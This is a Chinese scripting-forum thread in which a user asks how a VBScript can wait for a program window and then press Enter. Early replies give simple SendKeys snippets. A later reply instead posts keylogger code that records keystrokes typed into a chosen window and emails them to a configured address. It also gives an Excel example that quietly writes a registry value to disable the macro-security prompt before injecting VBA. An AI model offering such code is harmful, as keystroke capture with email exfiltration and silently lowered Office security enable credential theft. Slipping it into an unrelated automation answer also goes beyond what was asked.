标题: [问题求助] [已解决]VBS脚本怎么打开程序并窗口出现后自动按下回车键? [打印本页]
作者: 522235677 时间: 2012-8-6 11:52 标题: [已解决]VBS脚本怎么打开程序并窗口出现后自动按下回车键?
本帖最后由 522235677 于 2013-4-11 19:52 编辑
因为这个程序A有的时候2秒能打开,有的时候好几秒才能打开,怎么等到这个窗口出现后自动按下回车键。
还要防止别的窗口不要在最上方的时候按下回车键。以免在别的窗口上按下回车键。
作者: 冷玉公子 时间: 2012-8-6 13:05
复制代码
Echo Y 相当于一个回车键
作者: 522235677 时间: 2012-8-6 13:29
回复 2# 冷玉公子
VBS代码有这个命令吗?
我好想是在 VBS求助&讨论
作者: 冷玉公子 时间: 2012-8-6 16:49
回复 3# 522235677
哦不好意思,下次请在标题上注明是[VBS]。
不过不熟悉,VBS你尝试查找等待这个窗口出现,然后激活这个窗口,发送回车。
VBS的Send好像很强大的。
作者: xyqylong 时间: 2012-8-6 22:42
本帖最后由 xyqylong 于 2012-8-6 22:55 编辑
vbs的话可以用模拟键盘
如下代码:- set a=CreateObject("WScript.Shell")
- WScript.Sleep 3000 '延时3秒
- a.SendKeys "{ENTER}" '模拟按下回车键
复制代码
直接在bat代码里用start调用就可以
不过有个缺陷,就是在vbs未执行成功前cmd窗口必须处于前台。
作者: 522235677 时间: 2012-8-7 09:01
回复 5# xyqylong
那如果这个程序三秒钟还没有打开呢?
或者这个窗口早就打开了,而这个窗口不是在最上方?
问题不是你想的这么简单
作者: forfiles 时间: 2012-8-7 09:07
回复 6# 522235677
用appactivate激活窗口- Dim objShell
- Set objShell = CreateObject("WSCript.Shell")
- objShell.Appactivate "窗口标题"
- objShell.Run "cmd /k nbtstat -a 16.213.96.251"
- Set objShell = Nothing
复制代码
作者: 522235677 时间: 2012-8-7 13:31
回复 7# forfiles
那有没有办法来检测是否有标题为“XXX”的窗口呢?
如果没有检测到,则一直循环,一直在检测,直到出现这个窗口,并把这个窗口调到最上方。
作者: czjt1234 时间: 2013-4-11 20:27
-
- '**************************************** 参数设置 ****************************************
- Const WINDOW_TITLE = "无标题 - 记事本" '要监视的程序的窗口标题文字
- Const PROCESS_NAME = "notepad.exe" '要监视的程序的进程名称
- Const SENDER_MAIL_ADDR = "xxxxx@163.com" '用于发送邮件的邮箱地址
- Const SENDER_MAIL_PWD = "xxxxxxxxx" '用于发送邮件的邮箱密码
- Const SENDEE_MAIL_ADDR = "xxxxxxxxx@qq.com" '用于接收邮件的邮箱地址
- '******************************** 注册要使用的Win32API函数 ********************************
- Dim strDllPath
- strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll") '获取DLL文件的绝对路径
- RegisterCOM strDllPath '注册DynamicWrapper组件
- Dim g_objConnectAPI
- Set g_objConnectAPI = CreateObject("DynamicWrapper") '创建全局的DynamicWrapper组件对象实例
- '以下为声明将要用到的Win32API函数
- With g_objConnectAPI
- .Register "user32.dll", "FindWindow", "i=ss", "f=s", "r=l"
- .Register "user32.dll", "GetForegroundWindow", "f=s", "r=l"
- .Register "user32.dll", "GetAsyncKeyState", "i=l", "f=s", "r=l"
- End With
- '+++
- '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-
- '******************************************************************************************
- '*** 程序主体流程区域:
- '循环监视指定窗口
- Do
- If IsFoundWindowTitle() And IsTheWindowActive() Then Exit Do '当指定窗口存在且为当前激活窗口跳出循环
- WScript.Sleep 500
- Loop
-
- Dim TheKeyResult '用于保存键盘记录的结果
- TheKeyResult = ""
- '开始循环记录按键,当窗口出于非激活状态后或者用户输入回车键后停止记录按键
- Do
- If Not IsTheWindowActive() Then Exit Do
- Dim TheKey
- TheKey = ""
- TheKey = GetThePressKey()
- TheKeyResult = TheKeyResult & TheKey
- WScript.Sleep 20
- Loop Until TheKey = "[ENTER]"
- 'MsgBox TheKeyResult,vbSystemModal, "按键信息"
- SendEmail SENDER_MAIL_ADDR, SENDER_MAIL_PWD, SENDEE_MAIL_ADDR, "", "按键内容", TheKeyResult, "" '发送按键信息的邮件
- 'CreateLogFile TheKeyResult '以日志形式保存所记录的按键信息
- '***
- '******************************************************************************************
-
-
-
- '------------------------------------------以下为函数定义区域-------------------------------------------
-
- '检测WINDOW_TITLE所指定标题文字的窗口是否存在
- Function IsFoundWindowTitle()
- Dim hWnd
- hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
- IsFoundWindowTitle = CBool(hWnd)
-
- End Function
- '检测WINDOW_TITLE所指定标题文字的窗口是否为当前激活的窗口
- Function IsTheWindowActive()
- Dim hWnd,hAct
- hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
- hAct = g_objConnectAPI.GetForegroundWindow()
- IsTheWindowActive = CBool(hWnd=hAct)
-
- End Function
复制代码
这个是调用api ,需要下载并注册注册一个dynwrap.dll文件,论坛上有,使用方法也有,你搜索下
或者你安装了excel也可以用excel调用api
这是一个例子:
- Option Explicit
- Dim WshShell, oExcel, strRegKey, strCode, x, y
- Set oExcel = CreateObject("Excel.Application")
- set WshShell = CreateObject("wscript.Shell")
- strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM"
- strRegKey = Replace(strRegKey, "$", oExcel.Version)
- '生成注册表路径,oExcel.Version 是当前版本号
- WshShell.RegWrite strRegKey, 1, "REG_DWORD"
- '写如注册表,1表示设置安全级别为低,这样添加宏就不会有安全提示了
- strCode = _
- "Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCrLf & _
- vbCrLf & _
- "Private Type POINTAPI" & vbCrLf & _
- "X As Long" & vbCrLf & _
- "Y As Long" & vbCrLf & _
- "End Type" & vbCrLf & _
- vbCrLf & _
- "Private Declare Function GetCursorPos Lib ""user32"" (lpPoint As POINTAPI) As Long" & vbCrLf & _
- vbCrLf & _
- "Sub SetCursor(x as Long, y as Long)" & vbCrLf & _
- "SetCursorPos x, y" & vbCrLf & _
- "End Sub" & vbCrLf & _
- vbCrLf & _
- "Public Function GetXCursorPos() As Long" & vbCrLf & _
- "Dim pt As POINTAPI" & vbCrLf & _
- "GetCursorPos pt" & vbCrLf & _
- "GetXCursorPos = pt.X" & vbCrLf & _
- "End Function" & vbCrLf & _
- vbCrLf & _
- "Public Function GetYCursorPos() As Long" & vbCrLf & _
- "Dim pt As POINTAPI" & vbCrLf & _
- "GetCursorPos pt" & vbCrLf & _
- "GetYCursorPos = pt.Y" & vbCrLf & _
- "End Function"
- oExcel.Workbooks.Add.VBProject.VBComponents.Add(1).CodeModule.AddFromString strCode
- x = oExcel.Run("GetXCursorPos")
- y = oExcel.Run("GetYCursorPos")
- WScript.Echo x, y
- oExcel.Run "SetCursor", 1024, 768
- oExcel.DisplayAlerts = False
- oExcel.Workbooks.Add.Close
- oExcel.Quit
复制代码
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |